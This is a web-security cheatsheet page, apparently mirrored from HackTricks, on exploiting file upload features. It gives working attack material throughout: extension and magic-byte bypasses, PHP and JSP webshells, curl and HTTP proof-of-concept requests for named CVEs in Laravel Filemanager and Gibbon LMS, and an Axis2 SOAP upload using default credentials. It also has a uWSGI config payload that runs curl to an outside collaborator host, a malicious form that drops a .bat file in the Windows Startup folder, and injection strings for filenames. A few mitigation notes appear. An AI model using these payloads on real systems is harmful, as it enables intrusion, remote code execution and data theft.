daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (47729B)


      1 ---
      2 title: "File Upload"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-upload/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-upload/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # File Upload
     14 
     15 ## File Upload General Methodology
     16 
     17 Other useful extensions:
     18 
     19 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
     20   - **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
     21 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
     22 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
     23 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
     24 - **Flash**: _.swf_
     25 - **Perl**: _.pl, .cgi_
     26 - **Erlang Yaws Web Server**: _.yaws_
     27 
     28 ### Bypass file extensions checks
     29 
     30 1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
     31 2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
     32    - _file.png.php_
     33    - _file.png.Php5_
     34 3. Try adding **special characters at the end.** You can use Burp to **brute-force** ASCII and Unicode characters. (_You can also combine this with the previously mentioned extensions._)
     35    - _file.php%20_
     36    - _file.php%0a_
     37    - _file.php%00_
     38    - _file.php%0d%0a_
     39    - _file.php/_
     40    - _file.php.\\_
     41    - _file._
     42    - _file.php...._
     43    - _file.pHp5...._
     44 4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
     45    - _file.png.php_
     46    - _file.png.pHp5_
     47    - _file.php#.png_
     48    - _file.php%00.png_
     49    - _file.php\x00.png_
     50    - _file.php%0a.png_
     51    - _file.php%0d%0a.png_
     52    - _file.phpJunk123png_
     53 5. Add **another layer of extensions** to the previous check:
     54    - _file.png.jpg.php_
     55    - _file.php%00.png%00.jpg_
     56 6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
     57    - _ex: file.php.png_
     58 7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character ":” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. "file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”)
     59 8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
     60 
     61    ```
     62    # Linux maximum 255 bytes
     63    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
     64    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
     65    # Upload the file and use the response to determine how many characters it allows; assume 236
     66    python -c 'print "A" * 232'
     67    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     68    # Make the payload
     69    AAA<--SNIP 232 A-->AAA.php.png
     70    ```
     71 
     72 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
     73 
     74 Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[16]](#references)</sup>
     75 
     76 - Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
     77 - Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
     78 - The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
     79 
     80 Minimal PoC (Burp Repeater):
     81 
     82 ```http
     83 POST /profile/avatar HTTP/1.1
     84 Host: target
     85 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
     86 
     87 ------WebKitFormBoundary
     88 Content-Disposition: form-data; name="upload"; filename="0xdf.php."
     89 Content-Type: image/png
     90 
     91 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
     92 ------WebKitFormBoundary--
     93 ```
     94 
     95 Then hit the saved path (typical in Laravel + LFM):
     96 
     97 ```text
     98 GET /storage/files/0xdf.php?cmd=id
     99 ```
    100 
    101 ### Bypass Content-Type, Magic Number, Compression & Resizing
    102 
    103 - Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
    104   1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
    105 - Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
    106   `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
    107   `\` or you could also **introduce the payload directly** in an image:\
    108   `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
    109 - If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup>
    110   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
    111 - The application may also **resize the image** with PHP-GD functions such as `imagecopyresized` or `imagecopyresampled`. The **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) can insert text that **survives resizing**.<sup>[[26]](#references)</sup>
    112   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
    113 - Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup>
    114   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
    115 
    116 ### Other Tricks to check
    117 
    118 - Find a vulnerability to **rename** the file already uploaded (to change the extension).
    119 - Find a **Local File Inclusion** vulnerability to execute the backdoor.
    120 - **Possible Information disclosure**:
    121   1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
    122   2. Upload a file with the **name** of a **file** or **folder** that **already exists**
    123   3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called 
    124   uploads” in the "/www/" directory.
    125   4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
    126   5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
    127   6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
    128 - Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
    129 
    130 ### Special extension tricks
    131 
    132 If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
    133 If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services#execute-config-files).
    134 
    135 The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
    136 
    137 The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
    138 
    139 ## **Jetty RCE**
    140 
    141 If you can upload an XML file into a Jetty server, you may obtain [RCE because **new `*.xml` and `*.war` files are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). As shown below, place the XML file in `$JETTY_BASE/webapps/` and trigger its processing.
    142 
    143 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281047%29.png)
    144 
    145 ## **uWSGI RCE**
    146 
    147 For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).<sup>[[6]](#references)</sup>
    148 
    149 Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
    150 
    151 Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
    152 
    153 ```ini
    154 [uwsgi]
    155 ; read from a symbol
    156 foo = @(sym://uwsgi_funny_function)
    157 ; read from binary appended data
    158 bar = @(data://[REDACTED])
    159 ; read from http
    160 test = @(http://[REDACTED])
    161 ; read from a file descriptor
    162 content = @(fd://[REDACTED])
    163 ; read from a process stdout
    164 body = @(exec://whoami)
    165 ; curl to exfil via collaborator
    166 extra = @(exec://curl http://collaborator-unique-host.oastify.com)
    167 ; call a function returning a char *
    168 characters = @(call://uwsgi_func)
    169 ```
    170 
    171 The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
    172 
    173 It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
    174 
    175 ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
    176 
    177 Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.<sup>[[12]](#references)</sup>
    178 
    179 - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
    180 - Method: POST
    181 - Required params:
    182   - `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
    183   - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
    184   - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
    185 
    186 Minimal PoC to write and read back a file:
    187 
    188 ```bash
    189 # Prepare test payload
    190 printf '0xdf was here!' | base64
    191 # => MHhkZiB3YXMgaGVyZSEK
    192 
    193 # Write poc.php via unauth POST
    194 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
    195   -d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
    196 
    197 # Verify write
    198 curl http://target/Gibbon-LMS/poc.php
    199 ```
    200 
    201 Drop a minimal webshell and execute commands:
    202 
    203 ```bash
    204 # '<?php system($_GET["cmd"]); ?>' base64
    205 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
    206 
    207 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
    208   -d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
    209 
    210 curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
    211 ```
    212 
    213 Notes:
    214 - The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type.
    215 - Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).
    216 
    217 References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup>
    218 
    219 ## **wget File Upload/SSRF Trick**
    220 
    221 Sometimes a server uses **`wget`** to **download a user-supplied URL** while checking the apparent filename extension against an allow-list. This check may be bypassed.\
    222 Linux filenames are generally limited to **255 bytes**, while affected `wget` behavior truncates the local filename to **236 characters**. A remote name such as `"A"*232+".php"+".gif"` passes an allow-list that accepts `.gif`, but truncation can leave the local name ending in `.php`.
    223 
    224 ```bash
    225 #Create file and HTTP server
    226 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
    227 python3 -m http.server 9080
    228 ```
    229 
    230 ```bash
    231 #Download the file
    232 wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
    233 The name is too long, 240 chars total.
    234 Trying to shorten...
    235 New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
    236 --2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
    237 Connecting to 127.0.0.1:9080... connected.
    238 HTTP request sent, awaiting response... 200 OK
    239 Length: 10 [image/gif]
    240 Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
    241 
    242 AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s
    243 
    244 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
    245 ```
    246 
    247 Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
    248 
    249 ### Escaping upload directory via NTFS junctions (Windows)
    250 
    251 (For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.<sup>[[17]](#references)</sup>
    252 
    253 Example flow to redirect uploads into XAMPP webroot:
    254 
    255 ```batch
    256 :: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
    257 ::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
    258 
    259 :: 2) Remove the created folder and create a junction to webroot
    260 rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
    261 cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
    262 
    263 :: 3) Re-upload your payload; it lands under C:\xampp\htdocs
    264 ::    Minimal PHP webshell for testing
    265 ::    <?php echo shell_exec($_REQUEST['cmd']); ?>
    266 
    267 :: 4) Trigger
    268 curl "http://TARGET/shell.php?cmd=whoami"
    269 ```
    270 
    271 Notes
    272 - mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.<sup>[[18]](#references)</sup>
    273 - This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
    274 - Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
    275 
    276 ### GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
    277 
    278 Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).<sup>[[2]](#references)</sup>
    279 
    280 Generic exploitation flow:
    281 - Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
    282 - Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
    283 - Browse to the written file to trigger execution.
    284 
    285 Illustrative request:
    286 
    287 ```http
    288 POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
    289 Host: target
    290 Content-Type: application/octet-stream
    291 Content-Encoding: gzip
    292 Content-Length: <len>
    293 
    294 <gzip-compressed-bytes-of-your-jsp>
    295 ```
    296 
    297 Then trigger:
    298 
    299 ```http
    300 GET /jsp/shell.jsp?cmd=id HTTP/1.1
    301 Host: target
    302 ```
    303 
    304 Notes
    305 - Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
    306 - Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
    307 - This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.
    308 
    309 Mitigations
    310 - Derive upload destinations server-side; never trust path fragments from clients.
    311 - Canonicalize and enforce that the resolved path stays within an allow-listed base directory.
    312 - Store uploads on a non-executable volume and deny script execution from writable paths.
    313 
    314 ### Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
    315 
    316 Axis2-based upload services sometimes expose an `uploadFile` SOAP action that takes three attacker-controlled fields: `jobDirectory` (destination directory), `archiveName` (filename), and `dataHandler` (base64 file content). If `jobDirectory` is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.<sup>[[20]](#references)</sup>
    317 
    318 Minimal request outline (default creds often work: `admin` / `trubiquity`):
    319 
    320 ```http
    321 POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
    322 Host: 127.0.0.1
    323 Content-Type: text/xml
    324 
    325 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
    326   <soapenv:Body>
    327     <updw:uploadFile>
    328       <updw:login>admin</updw:login>
    329       <updw:password>trubiquity</updw:password>
    330       <updw:archiveName>shell.jsp</updw:archiveName>
    331       <updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
    332       <updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
    333     </updw:uploadFile>
    334   </soapenv:Body>
    335 </soapenv:Envelope>
    336 ```
    337 
    338 - Bindings are often localhost-only; pair with a full-read SSRF (absolute-URL request line, Host header ignored) to reach `127.0.0.1` if the Axis2 port isn’t exposed.
    339 - After writing, browse to `/trufusionPortal/jsp/shell.jsp?cmd=id` to execute.
    340 
    341 
    342 ### Auto-handled HTML file inputs in crawlers / browser automation → local arbitrary file write
    343 
    344 Some **browser-powered crawlers** and automation frameworks try to interact with discovered `<input type="file">` elements by **creating a local temporary file** and automatically selecting it in the browser. If the local filename is derived from **page-controlled metadata** such as `accept`, `name`, or `value`, the target website can turn ordinary crawling into a **local arbitrary file write**.<sup>[[21]](#references)</sup>
    345 
    346 Typical vulnerable flow:
    347 
    348 1. The crawler discovers a file input and decides to auto-populate it.
    349 2. It derives a **local filename** from attacker-controlled HTML attributes.
    350 3. It writes attacker-controlled bytes to that path.
    351 4. It calls a browser API such as `selectFile()` on the generated path.
    352 
    353 If the implementation accepts any `accept` token starting with `.` as a harmless extension, a payload like `./../../../../target/path/payload.bat` may bypass the check while still carrying **path traversal**. When this string is later passed to `Path.resolve()` / `Path.Combine()` without canonicalization and a **"must stay under temp dir"** check, the final write can escape the temporary directory.
    354 
    355 Minimal malicious form:
    356 
    357 ```html
    358 <form action="/upload" method="post" enctype="multipart/form-data">
    359   <input type="file" name="upload"
    360          value="calc.exe"
    361          accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
    362 </form>
    363 ```
    364 
    365 In that pattern:
    366 
    367 - `value` becomes the **local file content** (`calc.exe` in the example).
    368 - `accept` becomes part of the **local filename/path**.
    369 - The result is an **attacker-controlled text file write** anywhere writable if the parent directory already exists.
    370 
    371 A practical Windows chain is to target the current user's **Startup** folder so the dropped `.bat` executes on the next logon:
    372 
    373 ```text
    374 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat
    375 ```
    376 
    377 This is not limited to Burp. Apply the same review to **headless browsers**, **web security scanners**, **test automation**, **RPA bots**, and any tool that processes hostile pages while trying to be "helpful" with file uploads.
    378 
    379 Quick audit checklist:
    380 
    381 - Never reuse HTML attributes as filesystem paths.
    382 - Reject `/`, `\\`, `..`, drive letters, UNC prefixes, and absolute paths.
    383 - Generate the temp filename server-side/tool-side.
    384 - Canonicalize the final path and verify it still starts with the intended base directory before writing.
    385 - Treat any auto-filled file input as a potential **local file write sink**, not just a browser interaction.
    386 
    387 
    388 ## Tools
    389 
    390 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
    391 - [PayloadsAllTheThings file-upload payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) provide a broad manual-testing checklist.<sup>[[3]](#references)</sup>
    392 - [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) automates upload mutation from Burp Suite.<sup>[[4]](#references)</sup>
    393 - [fuxploider](https://github.com/almandin/fuxploider) scans and tests common file-upload validation weaknesses.<sup>[[5]](#references)</sup>
    394 
    395 ### Corrupting upload indices with snprintf quirks (historical)
    396 
    397 Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.<sup>[[13]](#references)</sup>
    398 
    399 ### GeoNetwork formatter upload to XSLT execution
    400 
    401 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork)
    402 
    403 ## From File upload to other vulnerabilities
    404 
    405 - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
    406 - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
    407 - Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
    408 - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](/hacktricks/pentesting-web/command-injection))
    409 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
    410 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
    411 - [**XXE in svg upload**](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#svg-file-upload)
    412 - [**Open Redirect** via uploading svg file](/hacktricks/pentesting-web/open-redirect#open-redirect-uploading-svg-files)
    413 - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
    414 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
    415 - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
    416 - [**XXE and CORS** bypass with PDF-Adobe upload](/hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass)
    417 - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](/hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
    418 - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
    419 - Check if there is any **size limit** uploading files
    420 
    421 Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
    422 
    423 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
    424 2. **SVG**: Stored XSS / SSRF / XXE
    425 3. **GIF**: Stored XSS / SSRF
    426 4. **CSV**: CSV injection
    427 5. **XML**: XXE
    428 6. **AVI**: LFI / SSRF
    429 7. **HTML / JS** : HTML injection / XSS / Open redirect
    430 8. **PNG / JPEG**: Pixel flood attack (DoS)
    431 9. **ZIP**: RCE via LFI / DoS
    432 10. **PDF / PPTX**: SSRF / BLIND XXE
    433 
    434 #### Burp Extension
    435 
    436 
    437 [Upload Scanner](https%3A//github.com/portswigger/upload-scanner)
    438 
    439 ## Magic Header Bytes
    440 
    441 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
    442 - **JPG**: `"\xff\xd8\xff"`
    443 
    444 Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
    445 
    446 ## Zip/Tar File Automatically decompressed Upload
    447 
    448 If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
    449 
    450 ### Symlink
    451 
    452 Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
    453 
    454 ```text
    455 ln -s ../../../index.php symindex.txt
    456 zip --symlinks test.zip symindex.txt
    457 tar -cvf test.tar symindex.txt
    458 ```
    459 
    460 ### Decompress in different folders
    461 
